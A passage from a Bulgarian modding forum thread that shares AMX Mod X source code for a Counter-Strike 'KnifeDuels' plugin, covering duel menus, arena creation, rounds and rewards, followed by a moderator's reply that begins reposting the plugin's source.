		if(ARENA_COORDS[coords][0] == 0.0 && ARENA_COORDS[coords][1] == 0.0)
		{
			create_wall(TOP_SIDE,0,SOLID_BBOX,ent_code,0,0,fake_origin)
			entity_set_int(ent,EV_INT_iuser2,CENTER_CODE)
		}
		else if(ARENA_COORDS[coords][0] == 200.0 && ARENA_COORDS[coords][1] == 0.0)
		{
			create_wall(BLUE_SIDE,0,SOLID_BBOX,ent_code,0,0,fake_origin)
			if(cs_get_user_team(id) == CS_TEAM_CT)
			{
				set_spawn_positions(id,BLUE_SIDE,fake_origin,rvec)
			}                                                                              
			else
			{
				if(his_challenger[id])
				{
					set_spawn_positions(his_challenger[id],BLUE_SIDE,fake_origin,rvec)
				}
			}
			//set_rendering(ent,kRenderFxGlowShell,0,0,200,kRenderNormal,10)
		}
		else if(ARENA_COORDS[coords][0] == -100.0 && ARENA_COORDS[coords][1] == 0.0)
		{
			create_wall(RED_SIDE,0,SOLID_BBOX,ent_code,0,0,fake_origin)
			if(cs_get_user_team(id) == CS_TEAM_T)
			{
				set_spawn_positions(id,RED_SIDE,fake_origin,rvec)
			}                                                                              
			else
			{
				if(his_challenger[id])
				{
					set_spawn_positions(his_challenger[id],RED_SIDE,fake_origin,rvec)
				}
			}
			//set_rendering(ent,kRenderFxGlowShell,200,0,0,kRenderNormal,10)
		}
		spawn_back(id)
	}
 
	return PLUGIN_HANDLED;
}
 
public set_spawn_positions(id,side,Float:origin[3],Float:angle[3])
{
	if(side == BLUE_SIDE)
		his_spawn[id][0] = origin[0]-20.0
	else his_spawn[id][0] = origin[0]-120.0
	his_spawn[id][1] = origin[1]
	his_spawn[id][2] = origin[2]+50.0
	entity_get_vector(id, EV_VEC_angles,his_angle[id])
	switch(side)
	{
		case RED_SIDE:
		{
			his_angle[id][1] = 0.0
			his_angle[id][0] = 0.0
 
		}
		case BLUE_SIDE:
		{
			his_angle[id][1] = 180.0
			his_angle[id][0] = 0.0
		}
	}
	got_spawn[id] = 1
}
 
public stuck_check(Float:origin[3],Float:radius)
{
	new player=-1;
	while((player = find_ent_in_sphere(player,origin,radius)) != 0)
	{
		if(is_user_alive(player))
		{
			if(is_player_stuck(player) && is_in_duel[player] != 2)
			{
				back_to_the_spawn(player)
			}
		}
	}
}
 
stock is_player_stuck(id)
{
	static Float:originF[3]
	pev(id, pev_origin, originF)
 
	engfunc(EngFunc_TraceHull, originF, originF, 0, (pev(id, pev_flags) & FL_DUCKING) ? HULL_HEAD : HULL_HUMAN, id, 0)
 
	if (get_tr2(0, TR_StartSolid) || get_tr2(0, TR_AllSolid) || !get_tr2(0, TR_InOpen))
		return true;
 
	return false;
}
 
public create_wall(type,alpha,solidity,code,code1,code2,Float:origin[3])
{
	new Float:wall_maxsize[3];
	new Float:wall_minsize[3];
	new Float:rvec[3];
	new ent=engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
	pev(ent,pev_v_angle,rvec);
	switch(type)
	{
		case BLUE_SIDE:
		{
			wall_maxsize[0] = 2.0
			wall_minsize[0] = 0.0
			wall_maxsize[1] = 230.0
			wall_minsize[1] = -230.0
			wall_maxsize[2] = 150.0
			wall_minsize[2] = -1.0
			rvec[1]=180.0
		}
		case RED_SIDE:
		{
			wall_maxsize[0] = -150.0
			wall_minsize[0] = -152.0
			wall_maxsize[1] = 230.0
			wall_minsize[1] = -230.0
			wall_maxsize[2] = 150.0
			wall_minsize[2] = -1.0
			rvec[1]=180.0
		}
		case LEFT_SIDE:
		{
			wall_maxsize[0] = 360.0
			wall_minsize[0] = -300.0
			wall_maxsize[1] = 65.0
			wall_minsize[1] = 63.0
			wall_maxsize[2] = 150.0
			wall_minsize[2] = -1.0
			rvec[1]=90.0
		}
		case RIGHT_SIDE:
		{
			wall_maxsize[0] = 360.0
			wall_minsize[0] = -300.0
			wall_maxsize[1] = -63.0
			wall_minsize[1] = -65.0
			wall_maxsize[2] = 150.0
			rvec[1]=90.0
		}
		case TOP_SIDE:
		{
			wall_maxsize[0] = 360.0
			wall_minsize[0] = -300.0
			wall_maxsize[1] = 230.0
			wall_minsize[1] = -230.0
			wall_maxsize[2] = 150.0
			wall_minsize[2] = 148.0
			rvec[0]=90.0          
		}
	}
	set_pev(ent,pev_angles,rvec);
 
	set_pev(ent,pev_classname,ARENA_ENT_NAME);
	engfunc(EngFunc_SetModel,ent,ARENA_MODELS[0]);
	entity_set_int(ent, EV_INT_solid, solidity);
	engfunc(EngFunc_SetSize,ent,wall_minsize,wall_maxsize);
	entity_set_int(ent, EV_INT_movetype, MOVETYPE_NONE);
	entity_set_int(ent,EV_INT_iuser1,code)
	entity_set_int(ent,EV_INT_iuser2,code1)
	entity_set_int(ent,EV_INT_iuser3,code2)
	engfunc(EngFunc_SetOrigin,ent,origin);
	set_rendering(ent,kRenderFxGlowShell,0,0,0,kRenderTransAlpha,alpha)
}
 
public get_spawn_origin(id)
{
	pev(id,pev_origin,his_original_spawn[id]);
}
 
stock get_user_hitpoint(id,Float:hOrigin[3])  {
	if(!is_user_alive(id))
		return 0;
 
	new Float:fOrigin[3],Float:fvAngle[3],Float:fvOffset[3],Float:fvOrigin[3],Float:feOrigin[3];
	new Float:fTemp[3];
 
	pev(id,pev_origin,fOrigin);
	pev(id,pev_v_angle,fvAngle);
	pev(id,pev_view_ofs,fvOffset);
 
	xs_vec_add(fOrigin,fvOffset,fvOrigin);
 
	engfunc(EngFunc_AngleVectors,fvAngle,feOrigin,fTemp,fTemp);
 
	xs_vec_mul_scalar(feOrigin,9999.9,feOrigin);
	xs_vec_add(fvOrigin,feOrigin,feOrigin);
 
	engfunc(EngFunc_TraceLine,fvOrigin,feOrigin,0,id);
	global_get(glb_trace_endpos,hOrigin);
 
	return 1;
} 
 
public plugin_precache() 
{
	new size;
	size = sizeof(ARENA_MODELS)
	for(new i; i< size; i++) 
	{
		engfunc(EngFunc_PrecacheModel,ARENA_MODELS[i]);
	}
}
 
 
public round_start_event()
{
	update_cvars()
	// using a variable to store player's names instead of regenerating it all the time...
	for(new id;id < MAX_PLAYERS;id++)
	{
		if(is_user_connected(id))
		{
			get_user_name(id,his_name[id],charsmax(his_name))
		}
	}
}
 
public Advertise(task)
{
	client_print_color(0, DontChange,"%s^3%s ^1by ^4%s ^1for ^4%s^1.",CHAT_TAG,P_NAME,P_AUTH,P_REQ)
	set_task(300.0,"Advertise",TASK_AD)
}
 
public Cmd_start(id,hndle)
{
	if(!is_user_alive(id))
		return FMRES_IGNORED
	if(!is_frozen[id])
		return FMRES_IGNORED
	new Buttons = get_uc(hndle,UC_Buttons)
	if(Buttons & IN_ATTACK)
	{
		Buttons &= ~IN_ATTACK
		set_uc( hndle , UC_Buttons , Buttons )
		return FMRES_SUPERCEDE
	}
	if(Buttons & IN_ATTACK2)
	{
		Buttons &= ~IN_ATTACK2
		set_uc( hndle , UC_Buttons , Buttons )
		return FMRES_SUPERCEDE
	}
	return FMRES_IGNORED
}
 
public Player_Take_Damage(victim, inflictor, attacker, Float:damage, damage_bits)
{     
	if(is_user_connected(attacker)) // we make sure the attacker is a player
	{
		if(is_in_duel[victim] == 2 || is_in_duel[attacker] == 2)
		{
			if(his_challenger[victim] != attacker || his_challenger[attacker] != victim)
			{
				// we protect the contenders from getting killed by other people or them killing others?
				return HAM_SUPERCEDE
			}
		}
	}
	return HAM_IGNORED
}
 
public client_putinserver(id)
{
	get_user_name(id,his_name[id],charsmax(his_name))
	reset_values(id)
	move_size[id] = 10.0
	his_offline[id] = 0
	his_previous_team[id] = 0
}
 
public client_disconnect(id)
{
	end_his_duel(id)
}
 
public end_his_duel(id)
{
	if(his_challenger[id])
	{
		client_print_color(0, DontChange,"^3[^4Arena: %s^3] ^4%s^1's challenger ^4%s^1 has ^3left the game^1.",arena_names[arena_number[id]],his_name[his_challenger[id]],his_name[id])
 
		if(arena_number[id] == arena_number[his_challenger[id]])
			remove_the_arena(arena_number[id] +ARENA_CODE)
		back_to_the_spawn(id)
		back_to_the_spawn(his_challenger[id])
		reset_values(his_challenger[id])
	}
	reset_values(id)
}
 
public times_up_duel(id)
{
	client_print_color(0, DontChange,"^3[^4Arena: %s^3] ^4%s^1 ^1and ^4%s^1 has taken long to ^3finish the battle^1.",arena_names[arena_number[id]],his_name[his_challenger[id]],his_name[id])
 
	if(his_challenger[id])
	{
		if(arena_number[id] == arena_number[his_challenger[id]])
			remove_the_arena(arena_number[id] +ARENA_CODE)
		user_kill(id,1)
		user_kill(his_challenger[id],1)
		back_to_the_spawn(id)
		back_to_the_spawn(his_challenger[id])
		reset_values(his_challenger[id])
	}
	reset_values(id)
}
 
public battle_timer(id)
{
	if(is_user_connected(id))
	{
		if(is_in_duel[id] == 2)
		{
			his_timer[id]++
			if(his_timer[id] > MAX_TIME)
			{
				times_up_duel(id)
			}
			set_task(1.0,"battle_timer",id)
		}
	}
}
 
public say_hook(id)
{
	static Chat_C[32]
	read_args(Chat_C,charsmax(Chat_C))
	remove_quotes(Chat_C)
	if(equali(Chat_C,DUEL_COMMAND))
	{
		//request a duel
		duel_players_list(id)
	}
	if(equali(Chat_C,TOGGLE_COMMAND))
	{
		//request a duel
		toggle_offline(id)
	}
	if(equali(Chat_C,GIVEUP_COMMAND))
	{
		//leave a duel
		if(is_in_duel[id] == 2)
		{
			give_up_player(id)
		}
		else
		{
			client_print_color(id, DontChange,"%sYou're not part of any battle.",CHAT_TAG)
		}
	}
	return PLUGIN_CONTINUE
}
 
public toggle_offline(id)
{
	switch(his_offline[id])
	{
		case 0:
		{
			his_offline[id] = 1
			client_print_color(0, DontChange,"%s^4%s^1 disconnected from the duel list.",CHAT_TAG,his_name[id])
		}
		default:
		{
			his_offline[id] = 0
			client_print_color(0, DontChange,"%s^4%s^1 connected to the duel list.",CHAT_TAG,his_name[id])
		}
	}
}
 
public give_up_player(id)
{
	if(is_user_connected(his_challenger[id]))
	{
		client_print_color(0, DontChange,"%s^4%s^3 got scared to face ^4%s^3! :)",CHAT_TAG,his_name[id],his_name[his_challenger[id]])
		if(arena_number[id] == arena_number[his_challenger[id]])
			remove_the_arena(arena_number[id] +ARENA_CODE)
		back_to_the_spawn(id)
		back_to_the_spawn(his_challenger[id])
		reset_values(his_challenger[id])
	}
	reset_values(id)
}
 
public reward_winner(id)
{
	if(is_user_connected(id))
	{
		// here you can reward the winner with something
		client_print_color(id, DontChange,"%s^4Congratulations!!!^1, You have ^3won this battle^1!",CHAT_TAG)
		if(SOUNDS_ENABLED)
			client_cmd(id,"spk ^"%s^"",DUEL_SOUNDS[0])
		if(cs_get_user_money(id)+15000 <= 16000)
		{
			cs_set_user_money(id,cs_get_user_money(id)+15000,1)
			//client_print_color(id, DontChange,"%s^4You've earned ^3$15000^4!",CHAT_TAG)
		} else cs_set_user_money(id,16000,1)
	}
}
 
public reward_loser(id)
{
	if(is_user_connected(id))
	{
		// here you can reward the winner with something
		user_kill(id,1)
		client_print_color(id, DontChange,"%sYou've ^3lost this battle^1!",CHAT_TAG)
		if(SOUNDS_ENABLED)
			client_cmd(id,"spk ^"%s^"",DUEL_SOUNDS[1])
		if(cs_get_user_money(id)-15000 >= 0)
		{
			cs_set_user_money(id,cs_get_user_money(id)-15000,1)
			//client_print_color(id, DontChange,"%s^4You've lost ^3$15000^4!",CHAT_TAG)
		} else cs_set_user_money(id,0,1)
	}
}
 
public duel_players_list(id)
{
	if(!is_user_alive(id))
	{
		client_print_color(id, DontChange,"%sYou can't challenge anyone when you're ^3dead1.",CHAT_TAG)
		return PLUGIN_HANDLED
	}
	if(his_offline[id])
	{
		client_print_color(id, DontChange,"%sYou can't challenge people when you're ^3offline^1.",CHAT_TAG)
		return PLUGIN_HANDLED
	}
	if(is_user_connected(his_challenger[id]))
	{
		client_print_color(id, DontChange,"%s^4%s ^1is still ^4fighting against you^1.",CHAT_TAG,his_name[his_challenger[id]])
		return PLUGIN_HANDLED
	}
	if(is_user_connected(his_asker[id]))
	{
		client_print_color(id, DontChange,"%sYou can only ^3challenge one person^1 at the time, you've challenged ^4%s^1.",CHAT_TAG,his_name[his_asker[id]])
		return PLUGIN_HANDLED
	}
	if(!available_duelers(id))
	{
		client_print_color(id, DontChange,"%sThere's ^4nobody^1 you can challenge.",CHAT_TAG)
		return PLUGIN_HANDLED
	}
	if(get_next_arena() == -1)
	{
		client_print_color(id, DontChange,"%s^4Maximum arenas reached.",CHAT_TAG)
		return PLUGIN_HANDLED
	}
	new menu,menuformat[64];
	formatex(menuformat,charsmax(menuformat),"\w[ \rKnifeDuels \w] \dArenas: %d/%d",arenas_count(),total_arenas)
	menu = menu_create( menuformat, "Duel_handler" );
 
	new players[32], pnum, tempid;
 
	new szName[32], szUserId[32],nameu[92],CsTeams:team;
	formatex(nameu,charsmax(nameu), "\yRefresh");
	menu_additem(menu, nameu,"rf_c", 0);
	menu_addblank(menu,0)
	get_players( players, pnum, "c" );
	for ( new e; e<pnum; e++ )
	{
		tempid = players[e]
		team = cs_get_user_team(tempid)
 
		if(tempid != id && team != CS_TEAM_SPECTATOR && team != CS_TEAM_UNASSIGNED)//  && !users_in_same_team(id,tempid))
		{
			get_user_name(tempid, szName, charsmax(szName));
			formatex(szUserId, charsmax(szUserId), "%d", get_user_userid(tempid));
			if(his_offline[tempid])
			{
				formatex(nameu,charsmax(nameu), "\d%s [Offline]", szName);
				menu_additem(menu, nameu, szUserId, 0);
			}
			else
			{
				if(is_in_duel[tempid] == 2)
				{
					formatex(nameu,charsmax(nameu), "\r%s [Duel]", szName);
					menu_additem(menu, nameu, szUserId, 0);
				}
				else if(is_in_duel[tempid] == 1)
				{
					formatex(nameu,charsmax(nameu), "\y%s [Pending]", szName);
					menu_additem(menu, nameu, szUserId, 0);
				}
				else
				{
					formatex(nameu,charsmax(nameu), "%s", szName);
					menu_additem(menu, nameu, szUserId, 0);
				}
			}
		}
	}
 
	menu_display(id, menu, 0 );
	return PLUGIN_HANDLED
}
 
public Duel_handler( id, menu, item )
{
	if ( item == MENU_EXIT )
	{
		menu_destroy( menu );
		return PLUGIN_HANDLED;
	}
 
	new szData[32], szName[64];
	new _access, item_callback;
	menu_item_getinfo( menu, item, _access, szData,charsmax( szData ), szName,charsmax( szName ), item_callback );
	if(equali(szData,"rf_c"))
	{
		menu_destroy( menu );
		duel_players_list(id)
		return PLUGIN_CONTINUE
	}
	new userid = str_to_num( szData );
	//spam_hud(id)
	new enem = find_player("k", userid); // flag "k" : find player from userid
	if (is_user_connected(enem))
	{
		if(his_offline[enem])
		{
			client_print_color(id, DontChange,"%sYou can't challenge offline players.",CHAT_TAG)
		}
		else
		{
			if(!is_in_duel[enem])
			{
				//spam_hud(enem)
				is_in_duel[enem] = 1
				is_in_duel[id] = 1
				his_asker[id] = enem
				his_asker[enem] = id
				ask_player(enem)
				client_print_color(0, DontChange,"%s^4%s^1 has ^3challenged^1 ^4%s^1 for a ^3duel^1!",CHAT_TAG,his_name[id],his_name[enem])
 
				set_task(10.0,"taken_long",id)
			}
			else
			{
				client_print_color(id, DontChange,"%s^4%s^1 seems to be busy with another duel..",CHAT_TAG,his_name[enem])
			}
		}
	}
	menu_destroy( menu );
	return PLUGIN_CONTINUE;
}
 
public taken_long(id)
{
	if(is_in_duel[id] == 1)
	{
		client_print_color(0, DontChange,"%s^4%s ^1has taken ^3too long to respond ^1to ^4%s^1's challenge.",CHAT_TAG,his_name[his_asker[id]],his_name[id])
		reset_values(his_asker[id])
		reset_values(id)
	}
}
 
stock available_duelers(asker)
{
	new num;
	num = 0 // just incase...
	for(new id;id < MAX_PLAYERS;id++)
	{
		if(is_user_alive(id))
		{
			if(/*!is_in_duel[id] && */id != asker && !is_user_bot(id))
			{
				num++
			}
		}
	}
	return num
}
 
public ask_player(id)
{
	if(!is_user_alive(id))
	{
		return PLUGIN_HANDLED
	}
	new asker_name[32],menu_title[64];
	get_user_name(his_asker[id],asker_name,charsmax(asker_name))
	formatex(menu_title,charsmax(menu_title),"\rAccept Duel \y%s\r?",asker_name)
	new menu
	menu = menu_create( menu_title, "Ask_handler" );
 
	menu_additem(menu, "Sure!", "user_said_yes", 0);
	menu_additem(menu, "Nope!","user_said_no", 0);
 
	menu_display(id, menu, 0 );
	return PLUGIN_HANDLED
}
 
public Ask_handler( id, menu, item )
{
	if ( item == MENU_EXIT )
	{
		menu_destroy( menu );
		return PLUGIN_HANDLED;
	}
 
	new szData[32], szName[64];
	new _access, item_callback;
	menu_item_getinfo( menu, item, _access, szData,charsmax( szData ), szName,charsmax( szName ), item_callback );
 
	if(equali(szData,"user_said_yes"))
	{
		if(get_next_arena() == -1)
		{
			client_print_color(his_asker[id], DontChange,"%sMaximum arenas reached.",CHAT_TAG)
			reset_values(his_asker[id])
			reset_values(id)
		}
		else if(is_in_duel[his_asker[id]] == 1)
		{
			manage_battle(id)
			check_teams(id,his_challenger[id])
			begin_the_battle(id,his_challenger[id])
		} else
		{
			client_print_color(id, DontChange,"%s%s either canceled the duel or chosen someone else to duel.",CHAT_TAG,his_name[his_asker[id]])
			reset_values(his_asker[id])
			reset_values(id)
		}
	}
	else if(equali(szData,"user_said_no"))
	{
		if(is_user_connected(his_asker[id]))
		{
			client_print_color(0, DontChange,"%s^4%s^3 rejected ^4%s^3's challenge.",CHAT_TAG,his_name[id],his_name[his_asker[id]])
			reset_values(his_asker[id])
			reset_values(id)
		}
 
	}
	menu_destroy( menu );
	return PLUGIN_CONTINUE;
}
 
public Player_Killed(victim, attacker, shouldgib)
{
	if(!is_user_connected(victim))
		return HAM_IGNORED;
	if(is_user_connected(his_challenger[victim]) && !is_user_connected(attacker))
	{
		if(!check_teams(victim,attacker))
			return HAM_IGNORED
	}
	if(!is_user_connected(attacker))
		return HAM_IGNORED
 
	if(attacker == victim)
		return HAM_IGNORED
 
	if(is_in_duel[attacker] != 2 || is_in_duel[victim] != 2)
		return HAM_IGNORED
 
	if(his_challenger[victim] == attacker || his_challenger[attacker] == victim )
	{
		//fake_death(attacker,victim)
		his_wins[attacker]++
		rounds[arena_number[attacker]]++
		static ret;
		ExecuteForward(killed_forward, ret, attacker,victim)
		if(Head_shot[attacker][victim])
		{
			his_HS[attacker]++
			Head_shot[attacker][victim] = false
		}
		user_silentkill(victim)
		if(rounds[arena_number[attacker]] >= MAX_ROUNDS || his_wins[attacker] >= MAX_KILLS)
		{
			if(!get_non_duelers_alive())
			{
				ExecuteHamB(Ham_CS_RoundRespawn, victim)
				Check_Results(attacker,victim)
				return HAM_SUPERCEDE
			}
			else
			{
				ExecuteHamB(Ham_CS_RoundRespawn, victim)
				Check_Results(attacker,victim)
			}
		}
		else 
		{
			wait_for_enemy_loop(attacker)
			//client_print_color(attacker, DontChange,"%s^4Rounds^1:^3%d^4/^3%d^1 | ^4You^1:^3%d^4/^3%d^1 | ^4%s^1:^3%d^4/^3%d^1.",CHAT_TAG,rounds[arena_number[attacker]],MAX_ROUNDS,his_wins[attacker],MAX_KILLS,his_name[victim],his_wins[victim],MAX_KILLS)
			//client_print_color(victim, DontChange,"%s^4Rounds^1:^3%d^4/^3%d^1 | ^4You^1:^3%d^4/^3%d^1 | ^4%s^1:^3%d^4/^3%d^1.",CHAT_TAG,rounds[arena_number[attacker]],MAX_ROUNDS,his_wins[victim],MAX_KILLS,his_name[attacker],his_wins[attacker],MAX_KILLS)
		}
		Set_Entity_Invisible(victim, 1)
		set_task(1.0,"delay_respawn",victim)
		return HAM_SUPERCEDE
	}
	return HAM_IGNORED
}
 
public fake_death(attacker,victim)
{
	message_begin( MSG_ALL, get_user_msgid("DeathMsg"),{0,0,0},0)
	write_byte(attacker)
	write_byte(victim)
	write_byte(0)
	write_string("knife")
	message_end()
}
 
public delay_respawn(id)
{
	if(is_user_connected(id))
	{
		if(!is_user_alive(id))
		{
			ExecuteHamB(Ham_CS_RoundRespawn, id)
		}
		Set_Entity_Invisible(id, 0)
	}
	return PLUGIN_CONTINUE
}
public Check_Results(id,enemy)
{
	reset_teams(id)
	reset_teams(enemy)
	new id_name[64],enemy_name[64];
	get_user_name(id,id_name,charsmax(id_name))
	get_user_name(enemy,enemy_name,charsmax(enemy_name))
	if(his_wins[id] > his_wins[enemy])
	{
		client_print_color(0, DontChange,"^3[^4Arena: %s^3] ^4%s ^1with ^3%d scores (HS:%d) ^1won against ^4%s ^1with ^3%d scores (HS:%d)",arena_names[arena_number[id]],id_name,his_wins[id],his_HS[id],enemy_name,his_wins[enemy],his_HS[enemy])
		reward_winner(id)
		reward_loser(enemy)
	}
	else if(his_wins[enemy] > his_wins[id])
	{
		client_print_color(0, DontChange,"^3[^4Arena: %s^3] ^4%s ^1with ^3%d scores (HS:%d) ^1won against ^4%s ^1with ^3%d scores (HS:%d)",arena_names[arena_number[id]],enemy_name,his_wins[enemy],his_HS[enemy],id_name,his_wins[id],his_HS[id])
		reward_winner(enemy)
		reward_loser(id)
	}
	else
	{
		client_print_color(0, DontChange,"^3[^4Arena: %s^3] ^4%s ^1with ^3%d scores (HS:%d) ^1and ^4%s ^1with ^3%d scores (HS:%d) ^1ended in a ^4draw match.",arena_names[arena_number[id]],id_name,his_wins[id],his_HS[id],enemy_name,his_wins[enemy],his_HS[enemy])
		if(SOUNDS_ENABLED)
		{
			client_cmd(id,"spk ^"%s^"",DUEL_SOUNDS[2])
			client_cmd(enemy,"spk ^"%s^"",DUEL_SOUNDS[2])
		}
		if(his_wins[id] == his_wins[enemy])
		{
			user_kill(id,1)
			user_kill(enemy,1)
		}
	}
	//client_print_color(0, DontChange,"%s^3Headshots: ^4%s^1:^3%d ^4%s^1:^3%d^1.",CHAT_TAG,id_name,his_HS[id],enemy_name,his_HS[enemy])
	if(arena_number[id] == arena_number[enemy])
		remove_the_arena(arena_number[id] +ARENA_CODE)
	back_to_the_spawn(id)
	back_to_the_spawn(enemy)
	reset_values(enemy)
	reset_values(id)
 
}
 
public back_to_the_spawn(id)
{
	if(is_user_alive(id))
	{
		entity_set_origin(id,his_original_spawn[id])
		Set_Entity_Invisible(id, 0)
		set_user_health(id,map_default_hp)
	}
	set_user_armor(id,0)
	set_user_godmode(id, 0)
}
 
 
 
public manage_battle(id)
{
	is_in_duel[id] = 2
	his_challenger[id] = his_asker[id]
	his_challenger[his_challenger[id]] = id
	is_in_duel[his_challenger[id]] = 2
	his_asker[id] = 0
	his_wins[id] = 0
	his_wins[his_challenger[id]] = 0
	new aren_code = get_next_arena()
	arena_number[id] = aren_code
	arena_number[his_challenger[id]] = aren_code
	rounds[aren_code] = 0
	new CsTeams:teamid,CsTeams:teamenemy;
	teamid = cs_get_user_team(id)
	teamenemy = cs_get_user_team(his_challenger[id])
	if(teamid == CS_TEAM_T)
	{
		his_previous_team[id] = 2
	}
	else if(teamid == CS_TEAM_CT)
	{
		his_previous_team[id] = 1
	}
	else his_previous_team[id] = 0
 
	if(teamenemy == CS_TEAM_T)
	{
		his_previous_team[his_challenger[id]] = 2
	}
	else if(teamenemy == CS_TEAM_CT)
	{
		his_previous_team[his_challenger[id]] = 1
	}
	else his_previous_team[his_challenger[id]] = 0
	start_build(his_challenger[id])
	if(SOUNDS_ENABLED)
	{
		client_cmd(id,"spk ^"%s^"",DUEL_SOUNDS[4])
		client_cmd(his_challenger[id],"spk ^"%s^"",DUEL_SOUNDS[4])
	}
	battle_timer(id)
	battle_timer(his_challenger[id])
	hud_displayer(id)
	hud_displayer(his_challenger[id])
	client_print_color(0, DontChange,"%s^4%s^3 accepted ^4%s^3's challenge!",CHAT_TAG,his_name[id],his_name[his_challenger[id]])
}
 
public begin_the_battle(id,enemy)
{
	start_new_round(id,enemy)
}
 
public start_new_round(id,enemy)
{
	his_timer[id] = 0
	his_timer[enemy] = 0
	is_frozen[id] = 1
	is_frozen[enemy] = 1
	his_countdown[id] = MAX_COUNTDOWN
	his_countdown[enemy] = MAX_COUNTDOWN
	countdown(id)
	countdown(enemy)
}
 
public countdown(id)
{
	if(is_user_connected(id))
	{
		his_countdown[id]--
		if(0 >= his_countdown[id])
		{
			is_frozen[id] = 0
			unfreeze_player(id)
			if(SOUNDS_ENABLED)
				client_cmd(id,"spk ^"%s^"",DUEL_SOUNDS[6])
			client_print(id,print_center,"Fight!")
			return PLUGIN_HANDLED
		}
		else
		{
			freeze_player(id)
			if(SOUNDS_ENABLED)
				client_cmd(id,"spk ^"%s^"",DUEL_SOUNDS[5])
			client_print(id,print_center,"%d",his_countdown[id])
			if(!is_frozen[id]) // we prevent it from spamming
				is_frozen[id] = 1
		}
		set_task(1.0,"countdown",id)
	}
	return PLUGIN_CONTINUE
}
 
public reset_teams(id)
{
	if(his_previous_team[id] == 1)
	{
		cs_set_user_team(id,CS_TEAM_CT)
	}
	else if(his_previous_team[id] == 2)
	{
		cs_set_user_team(id,CS_TEAM_T)
	}
	return PLUGIN_CONTINUE
}
 
public check_teams(id,enemy)
{
	new CsTeams:teamid,CsTeams:teamenemy;
	teamid = cs_get_user_team(id)
	teamenemy = cs_get_user_team(enemy)
	if(!users_in_same_team(id,enemy) && !is_in_false_team(id) && !is_in_false_team(enemy))
		return PLUGIN_HANDLED
	if(teamid == CS_TEAM_CT && teamenemy == CS_TEAM_CT )
	{
		cs_set_user_team(id,CS_TEAM_T)
	} else if(teamid == CS_TEAM_T && teamenemy == CS_TEAM_T)
	{
		cs_set_user_team(id,CS_TEAM_CT)
	}
	else
	{
		Check_Results(id,enemy)
		return PLUGIN_CONTINUE
	}
	return PLUGIN_HANDLED
}
stock is_in_false_team(id)
{
	if(cs_get_user_team(id) == CS_TEAM_SPECTATOR || cs_get_user_team(id) == CS_TEAM_UNASSIGNED)
		return PLUGIN_HANDLED
	return PLUGIN_CONTINUE
}
stock users_in_same_team(id,enemy)
{
	if(cs_get_user_team(id) == cs_get_user_team(enemy))
		return PLUGIN_HANDLED
	return PLUGIN_CONTINUE
}
 
stock get_next_arena()
{
	next_empty_arena = 0
	for(new id;id < MAX_PLAYERS;id++)
	{
		if(is_user_connected(id))
		{
			if(arena_number[id] == next_empty_arena)
			{
				next_empty_arena++
				if(next_empty_arena > total_arenas)
					return -1
			}
		}
	}
	if(next_empty_arena > total_arenas)
	{
		return -1
	}
	return next_empty_arena
}
 
stock reset_values(id)
{
	his_HS[id] = 0
	rounds[arena_number[id]] = 0
	is_in_duel[id] = 0
	his_challenger[id] = 0
	his_asker[id] = 0
	arena_number[id] = 0
	his_wins[id] = 0
	got_spawn[id] = 0
	his_timer[id] = 0
}
 
public freeze_player(id)
{
	set_user_maxspeed(id,1.0)
}
 
public unfreeze_player(id)
{
	set_user_maxspeed(id,250.0)
}
 
 
 
public wait_for_enemy_loop(id)
{
	if(is_user_connected(id))
	{
		if(is_in_duel[id] == 2)
		{
			if(is_user_connected(his_challenger[id]))
			{
				if(is_in_duel[his_challenger[id]] == 2)
				{
					if(is_user_alive(his_challenger[id]))
					{
						begin_the_battle(id,his_challenger[id])
						return PLUGIN_HANDLED
					}
					set_task(0.1,"wait_for_enemy_loop",id)
				}
			}
		}
	}
	return PLUGIN_CONTINUE
}
 
public hud_displayer(id)
{
	if(is_user_connected(id))
	{
		if(is_in_duel[id] == 2 && is_user_connected(his_challenger[id]))
		{
			new name[64],his_name[64];
			get_user_name(id,name,charsmax(name))
			get_user_name(his_challenger[id],his_name,charsmax(his_name))
			set_dhudmessage(0, 255, 0, -1.0, 0.0, 0, 6.0, 0.1)
			show_dhudmessage(id, "Arena: %s | Rounds: %d/%d ^n%s -- %d/%d (HS:%d)^nVS^n%s -- %d/%d (HS:%d)"
			,arena_names[arena_number[id]]
			,rounds[arena_number[id]]
			,MAX_ROUNDS,name,his_wins[id]
			,MAX_KILLS,his_HS[id]
			,his_name,his_wins[his_challenger[id]]
			,MAX_KILLS,his_HS[his_challenger[id]])
 
			set_task(0.1,"hud_displayer",id)
		}
	}
}
 
stock Set_Entity_Invisible(ent, Invisible = 1)
{
	if(!pev_valid(ent))
		return
	set_pev(ent, pev_effects, Invisible == 0 ? pev(ent, pev_effects) & ~EF_NODRAW : pev(ent, pev_effects) | EF_NODRAW)
}
Прикачени файлове
изображение_2023-01-27_003853396.png
изображение_2023-01-27_003853396.png (158.97 KiB) Преглеждано 440 пъти
изображение_2023-01-27_003853396.png
изображение_2023-01-27_003853396.png (158.97 KiB) Преглеждано 440 пъти
Здравейте, Ние сме Dark-Star Counter-Strike базирана верига стремяща се да предостави качествени сървъри на своитепотребители
〢☆ При нас може да намерите:
〢☆ активен и помагащ STAFF
〢☆ Качествени сървъри.
〢☆ 24/7 поддръжка.
〢☆ Нашият дискорд: https://discord.gg/cPw8xauRPq
Изображение

Аватар
zolfeca
Извън линия
Администратор
Администратор
Мнения: 417
Регистриран на: 10 Окт 2016, 23:48
Се отблагодари: 24 пъти
Получена благодарност: 92 пъти

Re: Проблем със къмплиране на плугин

Мнение от zolfeca » 27 Яну 2023, 00:53

Плъгина е доста стар.

Код за потвърждение: Избери целия код

/* Plugin generated by AMXX-Studio */
 
#include <amxmodx>
#include <amxmisc>
#include <cstrike>
#include <hamsandwich>
#include <fakemeta>
#include <fun>
#include <engine>
#include <xs>
#include <fun>


 
#define CHAT_TAG "^3[^4KnifeDuels^3]^1 " // add a space right after if you want one between the tag and the messages
 
#define DUEL_COMMAND "/duel" // this is the word used to start duel
#define TOGGLE_COMMAND "/offduel" // this is the word used to go online or offline
#define GIVEUP_COMMAND "/giveup" // this is the word used to end the duel
 
#define ARENA_ENT_NAME "entity_arena" // this is the arena's entity name
 
// just numerating on and off for the "STYLA_SECURITY"
enum {
	ON = 1,
	OFF = 0
}
 
// here you can activate the admin access system
new  STYLA_SECURITY = ON
 
// this is the password for the security access
#define STYLA_PASSWORD "tkvemdzgnerebo"
 
// here you can set the maximum number of arenas that can be used ingame
#define MAX_ARENAS 4
 
 
new const arena_names[][] = {
 	"",
